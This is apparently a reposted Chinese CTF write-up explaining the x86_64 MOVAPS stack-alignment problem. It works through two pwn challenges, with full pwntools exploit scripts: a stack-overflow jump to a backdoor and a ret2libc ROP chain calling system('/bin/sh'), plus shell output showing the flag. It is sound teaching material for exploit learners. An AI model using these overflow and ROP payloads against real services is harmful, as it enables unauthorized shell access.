日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【CTF大赛】100步getshell之就差一步——The MOVAPS issue

發(fā)布時(shí)間:2025/3/21 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CTF大赛】100步getshell之就差一步——The MOVAPS issue 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


當(dāng)你完美的在棧上進(jìn)行了布局,泄露了libc的地址,并且在libc中獲得了syetem地址,獲得了’/bin/sh’地址,此時(shí)此時(shí)就差一步sendline就打通了,可是你忽然發(fā)現(xiàn),什么?為什么system失敗了?地址也對(duì)啊,檢查了一遍又一遍,全部都對(duì)啊。

此時(shí)的你開(kāi)始懷疑,是不是Server上用了個(gè)新的libc?是不是地址獲取錯(cuò)誤?總之一萬(wàn)個(gè)問(wèn)題向你來(lái)襲。但其實(shí)可能就只是一個(gè)retn解決的問(wèn)題,在最后一步絆倒了你。這個(gè)問(wèn)題其實(shí)就是The MOVAPS issue

問(wèn)題的起因

首先放上小明同學(xué)最近遇到的兩個(gè)題目:

Tamilctf2021,pwn,Nameserver
DownUnderCTF2021,pwn,outBackdoor
有興趣的小伙伴可以看看這兩個(gè)題目。兩個(gè)題目很相似,都是棧溢出,控制了eip.但是!都拿不到shell!!氣人不

DownUnderCTF2021-outBackdoor

DownUnderCTF中簡(jiǎn)單很多,直接提供了一個(gè)outBackdoor函數(shù)

保護(hù)機(jī)制

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

漏洞

int __cdecl main(int argc, const char **argv, const char **envp) {char v4[16]; // [rsp+0h] [rbp-10h] BYREFbuffer_init(argc, argv, envp);puts("\nFool me once, shame on you. Fool me twice, shame on me.");puts("\nSeriously though, what features would be cool? Maybe it could play a song?");gets(v4);return 0; } int outBackdoor() {puts("\n\nW...w...Wait? Who put this backdoor out back here?");return system("/bin/sh"); }//main的v4棧結(jié)構(gòu) -0000000000000010 var_10 db 16 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables

很簡(jiǎn)單,棧溢出,根據(jù)main的棧結(jié)構(gòu),我們知道只需要填充0x10+8個(gè)數(shù)據(jù),就可以覆蓋到eip。

是不是很簡(jiǎn)單?exploit如下:

#!/usr/bin/python #coding:utf-8[/size][/align][align=left][size=3] from pwn import *context(os = 'linux', log_level='debug') local_path = './outBackdoor' addr = 'pwn-2021.duc.tf' port = 31921is_local = 1if is_local != 0:io = process(local_path,close_fds=True)else:io = remote(addr, port) # io = gdb.debug(local_path)elf=ELF(local_path) p_backdoor=elf.symbols['outBackdoor']p_main = elf.symbols['main'] p_system = elf.symbols['system'] p_bin_sh = 0x4020CD p_pop_rdi = 0x040125b p_retn = 0x04011FA p_ = 0x04011E7io.recvuntil(b"Maybe it could play a song") #錯(cuò)誤示范 get_shell = cyclic(16 + 8) + p64(p_backdoor) #錯(cuò)誤示范# gdb.attach(io, "b * outBackdoor") gdb.attach(io, "b * main") io.sendline(get_shell)io.interactive()

感興趣的同學(xué)可以檢查一下,確認(rèn)這段exp確實(shí)沒(méi)有問(wèn)題(至少現(xiàn)在看來(lái)是)。但是我們打一下會(huì)發(fā)現(xiàn),有些奇怪的事情發(fā)生了。

程序輸出了如下提示,很容易發(fā)現(xiàn)這段提示來(lái)自于outBackdoor函數(shù),說(shuō)明我們確實(shí)打入了outBackdoor,并且開(kāi)始執(zhí)行shell。但是無(wú)論你如何去打去試都打不進(jìn)去?神馬?為什么?

W...w...Wait? Who put this backdoor out back here?

我的解法

.text:00000000004011E7 lea rdi, command ; "/bin/sh" .text:00000000004011EE mov eax, 0 .text:00000000004011F3 call _system .text:00000000004011F8 nop .text:00000000004011F9 pop rbp .text:00000000004011FA retn將上述錯(cuò)誤示范替換成如下,成功拿到shell p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # 這個(gè)也可以

才疏學(xué)淺啊,雖然拿到了shell,但是卻是迷之shell,為什么?沒(méi)有細(xì)細(xì)思考這個(gè)問(wèn)題,畢竟入門小白,體會(huì)不到出題大神的出題思路。所以這個(gè)問(wèn)題懸而未解。

正解

直到有一天,我在CTFtime上看到了這道題的正確解法^1,再次感受到了才疏學(xué)淺。

這個(gè)writeup的意思是,在這個(gè)鏈接^2 中有這個(gè)問(wèn)題的答案,只需要一個(gè)retn就可以了。

什么!默默的打開(kāi)了這個(gè)鏈接,關(guān)鍵信息如下:

After searching the instruction movaps segfault I came across this site^3 that explains the issue.

The MOVAPS issue If you’re using Ubuntu 18.04 and segfaulting on a
movaps instruction in buffered_vfprintf() or do_system() in the 64 bit
challenges then ensure the stack is 16 byte aligned before returning
to GLIBC functions such as printf() and system(). The version of GLIBC
packaged with Ubuntu 18.04 uses movaps instructions to move data onto
the stack in some functions. The 64 bit calling convention requires
the stack to be 16 byte aligned before a call instruction but this is
easily violated during ROP chain execution, causing all further calls
from that function to be made with a misaligned stack. movaps triggers
a general protection fault when operating on unaligned data, so try
padding your ROP chain with an extra ret before returning into a
function or return further into a function to skip a push instruction.

Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.

簡(jiǎn)單總結(jié):就是在64位的機(jī)器上,當(dāng)你要調(diào)用printf或是system時(shí),請(qǐng)保證rsp&0xf==0,說(shuō)人話就是16字節(jié)對(duì)齊,最后4比特為0。當(dāng)不滿足上述條件的時(shí)候就報(bào)錯(cuò)。

好神奇啊!這就是說(shuō),我在構(gòu)造payload的時(shí)候,棧不滿足上述條件咯,祭出GDB.


如上圖所示,果真在調(diào)用system函數(shù)時(shí)最低4比特不為0(實(shí)際上那半個(gè)字節(jié)是8)

那么,我們自己的方法呢?

確實(shí),最低4比特為0,滿足條件。

他的方法,加上retn,同樣滿足條件:

這個(gè)時(shí)候,我明白一個(gè)道理:我就是瞎貓碰見(jiàn)死耗子了呀!!!!

下面分析一番,為什么我們碰見(jiàn)這個(gè)死耗子。

瞎貓碰見(jiàn)死耗子

死耗子分析
如下,payload中唯一不一樣的地方,但是卻有的能拿到shell,有的不能:

get_shell = cyclic(16 + 8) + p64(p_retn) + p64(p_backdoor) get_shell = cyclic(16 + 8) + p64(p_) # 這個(gè)也可以 get_shell = cyclic(16 + 8) + p64(p_backdoor) #錯(cuò)誤示范

我們就具體分析一下:

我們將斷點(diǎn)斷在main函數(shù)返回時(shí)的retn,


隨后執(zhí)行retn,在棧頂彈出值賦給eip。此時(shí)棧結(jié)構(gòu)變?yōu)?/p>


可以看到,此時(shí)rsp是rsp 0x7fffc8d60ec0

隨后進(jìn)行了一步操作,將保存上一個(gè)棧的棧底,以便在本函數(shù)執(zhí)行完畢后,恢復(fù)上一個(gè)棧。也就是這一步后,我們的棧頂rsp發(fā)生了變化

? 0x4011d7 <outBackdoor> push rbp


并且這個(gè)變化保持到了system調(diào)用。自此,因?yàn)椴粷M足rsp&0xf==0,失敗!

好了,這個(gè)死耗子分析完了

我為什么會(huì)碰上呢?

p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # 這個(gè)也可以

因?yàn)槲业慕夥ㄖ?#xff0c;我直接將eip控制到了上圖中0x4011e7的位置,完美跳過(guò)了push rbp的操作,所以rsp是滿足條件的。(不要問(wèn)我為什么會(huì)想到這么“天才”的想法,因?yàn)槲沂恰疤觳隆钡?#xff09;

那么他的解法是什么原理呢?

get_shell = cyclic(16 + 8) + p64(p_retn) + p64(p_backdoor)

可以看出,在進(jìn)入backdoor函數(shù)之前,進(jìn)行了一個(gè)retn操作。retn操作其實(shí)就是將棧頂?shù)囊粋€(gè)單位彈出到EIP中,在本例中就是rsp+8,所以先彈出一個(gè)單位,再在backdoor函數(shù)中壓入一個(gè)單位,這不就平衡了!

Tamilctf2021-Nameserver

無(wú)獨(dú)有偶,在DownUnderCTF開(kāi)始后的兩天,TamilCTF也出了一道這么個(gè)題。

Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)int __cdecl main(int argc, const char **argv, const char **envp) {char buf[32]; // [rsp+0h] [rbp-20h] BYREFsetbuf(_bss_start, 0LL);puts("Welcome to TamilCTF");printf("what is you name: ");read(0, buf, 500uLL);return 0; }

典型的棧溢出,先通過(guò)puts泄露libc地址,然后在libc中找到system,/bin/sh的地址,ROP,getshell。哈哈,輕車熟路。exp如下:

from pwn import * from LibcSearcher import *context(log_level='debug') # context.terminal = ['terminator','-x','sh','-c']local_path = './name-serv'addr = '3.97.113.25' port = 9001is_local = 0def debug(cmd):gdb.attach(io, cmd)if is_local:io = process(local_path)# debug('b * (vuln+0x121d - 0x11a2)')# debug('b * (main)') else:io = remote(addr, port)# io.recvuntil(b'what is you name: ')# payload = cyclic(500)p_pop_rdi= 0x0004006d3elf = ELF(local_path)p_puts_plt = elf.plt['puts'] p_puts_got = elf.got['puts'] p_read_got = elf.got['read'] p_start = elf.symbols['_start'] p_main = elf.symbols['main'] p_read = elf.symbols['read'] p_bss = elf.bss()io.recvuntil(b'what is you name: ') payload = b'a'*40 + p64(p_pop_rdi) + p64(p_puts_got) + p64(p_puts_plt) + p64(p_main) io.send(payload) p_puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) print(hex(p_puts_addr))obj = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = p_puts_addr - obj.symbols['puts'] #算出libc基地址 system = libc_base+obj.symbols['system'] #算出各函數(shù)的真實(shí)地址 bins = libc_base+next(obj.search(b'/bin/sh'))# gdb.attach(io, ''' # b *0x400660 # c # ''' # )payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(system) #錯(cuò)誤示范 io.send(payload)io.interactive() 啊哈哈,錯(cuò)誤示范(心路歷程:一直以為是libc出了問(wèn)題,試過(guò)了Libcsearcher,DynELF,別提多崩潰了)# 重點(diǎn)是這個(gè)retn的加入,原因是 ''' The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. ''' p_retn = 0x00400661 payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(p_retn) + p64(system)

加上retn, get shell.

what is you name: $ ls [DEBUG] Sent 0x3 bytes:b'ls\n' [DEBUG] Received 0x26 bytes:b'flag.txt\n'b'libc.so.6\n'b'name-serv\n'b'start.sh\n' flag.txt libc.so.6 name-serv start.sh $ cat flag.txt [DEBUG] Sent 0xd bytes:b'cat flag.txt\n' [DEBUG] Received 0x27 bytes:b'TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}\n' TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}

總結(jié)

本文主要對(duì)The MOVAPS issue問(wèn)題進(jìn)行了解釋,并結(jié)合DownUnderCTF2021和TamilCTF2021中相關(guān)的兩個(gè)題目進(jìn)行了分析。就題目本身而言,非常簡(jiǎn)單的ROP,考察的知識(shí)點(diǎn)就是The MOVAPS issue,理解了就很容易。

最近看到一句話,再次刷新了我的認(rèn)知,RE不僅考的是reverse的技巧,還考察了Google和GIThub的技巧;Crypto不僅考察了你的數(shù)學(xué)知識(shí),還考察了你閱讀paper的能力。

所以啊,你以為的真的是你以為的嗎?

世界那么大,多出去看看吧。參考文獻(xiàn)

關(guān)注私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)攻略

總結(jié)

以上是生活随笔為你收集整理的【CTF大赛】100步getshell之就差一步——The MOVAPS issue的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。